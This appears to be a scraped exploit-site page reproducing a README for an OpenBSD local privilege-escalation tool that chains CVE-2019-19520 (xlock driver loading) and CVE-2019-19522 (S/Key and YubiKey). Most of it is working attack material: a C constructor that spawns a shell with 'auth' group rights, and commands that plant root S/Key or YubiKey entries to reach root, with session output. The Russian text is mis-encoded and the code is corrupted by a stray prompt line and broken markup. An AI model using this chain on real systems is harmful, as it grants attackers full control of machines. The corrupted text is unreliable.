## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-RETRYMP3-OPENBSD-PRIVILEGE-ESCALATION
# Openbsd-Privilege-Escalation
Π‘ΠΊΡΠΈΠΏΡ, ΠΊΠΎΡΠΎΡΡΠΉ Π°Π²ΡΠΎΠΌΠ°ΡΠΈΠ·ΠΈΡΡΠ΅Ρ ΠΏΡΠΎΡΠ΅ΡΡ ΠΏΠΎΠ²ΡΡΠ΅Π½ΠΈΡ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ Π² ΡΠΈΡΡΠ΅ΠΌΠ΅ OpenBSD (CVE-2019-19520) ΠΏΡΡΠ΅ΠΌ ΡΠΊΡΠΏΠ»ΡΠ°ΡΠ°ΡΠΈΠΈ Π±ΠΈΠ½Π°ΡΠ½ΠΎΠ³ΠΎ ΡΠ°ΠΉΠ»Π° xlock ΠΈ ΠΏΠΎΠ»ΡΡΠ΅Π½ΠΈΡ Π΅Π³ΠΎ sgid, Π° Π·Π°ΡΠ΅ΠΌ ΠΏΠΎΠ²ΡΡΠ΅Π½ΠΈΡ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ Π΄ΠΎ root Ρ ΠΏΠΎΠΌΠΎΡΡΡ (CVE-2019-19522), ΡΠΊΡΠΏΠ»ΡΠ°ΡΠΈΡΡΡ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ Π³ΡΡΠΏΠΏΡ auth ΠΈ Π΄ΠΎΠ±Π°Π²Π»ΡΡ ΠΊΠ»ΡΡΠΈ ΠΊ S/Key ΠΈΠ»ΠΈ YubiKey
C-ΠΊΠΎΠ΄ ΠΏΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΈ ΠΏΠΎΠ»Π½ΠΎΡΡΡΡ ΡΠ²Π»ΡΠ΅ΡΡΡ ΠΊΠΎΠΏΠΈΠ΅ΠΉ ΠΎΡΠΈΠ³ΠΈΠ½Π°Π»ΡΠ½ΠΎΠ³ΠΎ PoC Ρ: https://www.openwall.com/lists/oss-security/2019/12/04/5
# CVE-2019-19522: ΠΠΎΠΊΠ°Π»ΡΠ½ΠΎΠ΅ ΠΏΠΎΠ²ΡΡΠ΅Π½ΠΈΠ΅ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ ΡΠ΅ΡΠ΅Π· S/Key ΠΈ YubiKey
Π OpenBSD, /usr/X11R6/bin/xlock ΡΡΡΠ°Π½Π°Π²Π»ΠΈΠ²Π°Π΅ΡΡΡ ΠΏΠΎ ΡΠΌΠΎΠ»ΡΠ°Π½ΠΈΡ ΠΈ ΠΈΠΌΠ΅Π΅Ρ set-group-ID "auth", Π° Π½Π΅ set-user-ID; ΡΠ»Π΅Π΄ΠΎΠ²Π°ΡΠ΅Π»ΡΠ½ΠΎ, ΡΠ»Π΅Π΄ΡΡΡΠ°Ρ ΠΏΡΠΎΠ²Π΅ΡΠΊΠ° Π½Π΅ΠΏΠΎΠ»Π½Π°, ΠΈ Π²ΠΌΠ΅ΡΡΠΎ Π½Π΅Ρ ΡΠ»Π΅Π΄ΡΠ΅Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ issetugid():
* * *
101 _X_HIDDEN void * 102 driOpenDriver(const char _driverName) { ... 113 if (geteuid() == getuid()) { 114 /_ don't allow setuid apps to use LIBGL_DRIVERS_PATH */ 115 libPaths = getenv("LIBGL_DRIVERS_PATH");
ΠΠΎΠΊΠ°Π»ΡΠ½ΡΠΉ Π·Π»ΠΎΡΠΌΡΡΠ»Π΅Π½Π½ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ Π²ΠΎΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡΡΡ ΡΡΠΎΠΉ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡΡ ΠΈ Π²ΡΠ·Π²Π°ΡΡ dlopen() Π΄Π»Ρ ΡΠ²ΠΎΠ΅Π³ΠΎ Π΄ΡΠ°ΠΉΠ²Π΅ΡΠ°, ΡΡΠΎΠ±Ρ ΠΏΠΎΠ»ΡΡΠΈΡΡ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ Π³ΡΡΠΏΠΏΡ "auth":
$ id uid=32767(nobody) gid=32767(nobody) groups=32767(nobody)
$ cd /tmp
$ cat > swrast_dri.c << "EOF" #include <paths.h> #include <sys/types.h> #include <unistd.h>
static void **attribute** ((constructor)) _init (void) { gid_t rgid, egid, sgid; if (getresgid(&rgid, &egid, &sgid) != 0) _exit(**LINE**); if (setresgid(sgid, sgid, sgid) != 0) _exit(**LINE**);
root@kitploit:~
char * const argv[] = { _PATH_KSHELL, NULL };
execve(argv[0], argv, NULL);
_exit(__LINE__);
} EOF
$ gcc -fpic -shared -s -o swrast_dri.so swrast_dri.c
$ env -i /usr/X11R6/bin/Xvfb :66 -cc 0 & [1] 2706
$ env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display :66
$ id uid=32767(nobody) gid=11(auth) groups=32767(nobody)
Π’Π΅ΠΏΠ΅ΡΡ, ΠΏΠΎΠ»ΡΡΠΈΠ² ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ Π³ΡΡΠΏΠΏΡ auth, ΠΌΡ ΠΌΠΎΠΆΠ΅ΠΌ Π²ΠΎΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡΡΡ ΠΈΠΌΠΈ, Π΄ΠΎΠ±Π°Π²ΠΈΠ² ΡΠΎΠ±ΡΡΠ²Π΅Π½Π½ΡΠ΅ root-ΠΊΠ»ΡΡΠΈ ΠΊ S/Key ΠΈΠ»ΠΈ YubiKey
# CVE-2019-19522: ΠΠΎΠΊΠ°Π»ΡΠ½ΠΎΠ΅ ΠΏΠΎΠ²ΡΡΠ΅Π½ΠΈΠ΅ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ ΡΠ΅ΡΠ΅Π· S/Key ΠΈ YubiKey
ΠΡΠ»ΠΈ Π²ΠΊΠ»ΡΡΡΠ½ ΡΠΈΠΏ Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΠΈ S/Key ΠΈΠ»ΠΈ YubiKey (ΠΎΠ±Π° ΠΎΠ½ΠΈ ΡΡΡΠ°Π½Π°Π²Π»ΠΈΠ²Π°ΡΡΡΡ ΠΏΠΎ ΡΠΌΠΎΠ»ΡΠ°Π½ΠΈΡ, Π½ΠΎ ΠΎΡΠΊΠ»ΡΡΠ΅Π½Ρ), Π»ΠΎΠΊΠ°Π»ΡΠ½ΡΠΉ Π·Π»ΠΎΡΠΌΡΡΠ»Π΅Π½Π½ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ Π³ΡΡΠΏΠΏΡ "auth", ΡΡΠΎΠ±Ρ ΠΏΠΎΠ»ΡΡΠΈΡΡ ΠΏΠΎΠ»Π½ΡΠ΅ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ "root" (ΠΏΠΎΡΠΊΠΎΠ»ΡΠΊΡ login_skey ΠΈ login_yubikey Π½Π΅ ΠΏΡΠΎΠ²Π΅ΡΡΡΡ, ΡΡΠΎ ΡΠ°ΠΉΠ»Ρ Π² /etc/skey ΠΈ /var/db/yubikey ΠΏΡΠΈΠ½Π°Π΄Π»Π΅ΠΆΠ°Ρ Π½ΡΠΆΠ½ΠΎΠΌΡ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ, Π° ΡΡΠΈ ΠΊΠ°ΡΠ°Π»ΠΎΠ³ΠΈ Π΄ΠΎΡΡΡΠΏΠ½Ρ Π΄Π»Ρ Π·Π°ΠΏΠΈΡΠΈ Π³ΡΡΠΏΠΏΠ΅ "auth").
> (ΠΡΠΈΠΌΠ΅ΡΠ°Π½ΠΈΠ΅: ΡΡΠΎΠ±Ρ ΠΏΠΎΠ»ΡΡΠΈΡΡ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ Π³ΡΡΠΏΠΏΡ "auth", Π»ΠΎΠΊΠ°Π»ΡΠ½ΡΠΉ Π·Π»ΠΎΡΠΌΡΡΠ»Π΅Π½Π½ΠΈΠΊ ΡΠ½Π°ΡΠ°Π»Π° ΠΌΠΎΠΆΠ΅Ρ Π²ΠΎΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡΡΡ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡΡ CVE-2019-19520 Π² xlock.)
ΠΡΠ»ΠΈ Π²ΠΊΠ»ΡΡΡΠ½ S/Key (ΡΠ΅ΡΠ΅Π· skeyinit -E), Π»ΠΎΠΊΠ°Π»ΡΠ½ΡΠΉ Π·Π»ΠΎΡΠΌΡΡΠ»Π΅Π½Π½ΠΈΠΊ Ρ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡΠΌΠΈ Π³ΡΡΠΏΠΏΡ "auth" ΠΌΠΎΠΆΠ΅Ρ Π΄ΠΎΠ±Π°Π²ΠΈΡΡ Π·Π°ΠΏΠΈΡΡ S/Key (ΡΠ°ΠΉΠ» Π² /etc/skey) Π΄Π»Ρ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ "root" (Π΅ΡΠ»ΠΈ ΡΡΠΎΡ ΡΠ°ΠΉΠ» ΡΠΆΠ΅ ΡΡΡΠ΅ΡΡΠ²ΡΠ΅Ρ, Π·Π»ΠΎΡΠΌΡΡΠ»Π΅Π½Π½ΠΈΠΊ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ ΠΏΡΠΎΡΡΠΎ ΡΠ΄Π°Π»ΠΈΡΡ ΠΈΠ»ΠΈ ΠΏΠ΅ΡΠ΅ΠΈΠΌΠ΅Π½ΠΎΠ²Π°ΡΡ Π΅Π³ΠΎ, ΠΏΠΎΡΠΊΠΎΠ»ΡΠΊΡ /etc/skey ΠΈΠΌΠ΅Π΅Ρ sticky-Π±ΠΈΡ; ΡΡΡΠ΅ΡΡΠ²ΡΠ΅Ρ ΠΏΡΠΎΡΡΠΎΠΉ ΠΎΠ±Ρ
ΠΎΠ΄Π½ΠΎΠΉ ΠΏΡΡΡ, ΠΈ ΠΎΠ½ ΠΎΡΡΠ°Π²Π»Π΅Π½ Π·Π°ΠΈΠ½ΡΠ΅ΡΠ΅ΡΠΎΠ²Π°Π½Π½ΠΎΠΌΡ ΡΠΈΡΠ°ΡΠ΅Π»Ρ Π² ΠΊΠ°ΡΠ΅ΡΡΠ²Π΅ ΡΠΏΡΠ°ΠΆΠ½Π΅Π½ΠΈΡ):
$ id uid=32767(nobody) gid=11(auth) groups=32767(nobody)
$ echo 'root md5 0100 obsd91335 8b6d96e0ef1b1c21' > /etc/skey/root
$ chmod 0600 /etc/skey/root
$ env -i TERM=vt220 su -l -a skey otp-md5 99 obsd91335 S/Key Password: EGG LARD GROW HOG DRAG LAIN
#id uid=0(root) gid=0(wheel) ...
ΠΡΠ»ΠΈ Π²ΠΊΠ»ΡΡΡΠ½ YubiKey (ΡΠ΅ΡΠ΅Π· login.conf), Π»ΠΎΠΊΠ°Π»ΡΠ½ΡΠΉ Π·Π»ΠΎΡΠΌΡΡΠ»Π΅Π½Π½ΠΈΠΊ Ρ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡΠΌΠΈ "auth" ΠΌΠΎΠΆΠ΅Ρ Π΄ΠΎΠ±Π°Π²ΠΈΡΡ Π·Π°ΠΏΠΈΡΡ YubiKey (Π΄Π²Π° ΡΠ°ΠΉΠ»Π° Π² /var/db/yubikey) Π΄Π»Ρ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ "root" (Π΅ΡΠ»ΠΈ ΡΡΠΈ ΡΠ°ΠΉΠ»Ρ ΡΠΆΠ΅ ΡΡΡΠ΅ΡΡΠ²ΡΡΡ, Π·Π»ΠΎΡΠΌΡΡΠ»Π΅Π½Π½ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ ΠΏΡΠΎΡΡΠΎ ΡΠ΄Π°Π»ΠΈΡΡ ΠΈΠ»ΠΈ ΠΏΠ΅ΡΠ΅ΠΈΠΌΠ΅Π½ΠΎΠ²Π°ΡΡ ΠΈΡ
, ΠΏΠΎΡΠΊΠΎΠ»ΡΠΊΡ /var/db/yubikey Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ sticky-Π±ΠΈΡΠ°):
$ id uid=32767(nobody) gid=11(auth) groups=32767(nobody)
$ echo 32d32ddfb7d5 > /var/db/yubikey/root.uid
$ echo 554d5eedfd75fb96cc74d52609505216 > /var/db/yubikey/root.key
$ env -i TERM=vt220 su -l -a yubikey Password: krkhgtuhdnjclrikikklulkldlutreul
#id uid=0(root) gid=0(wheel) ...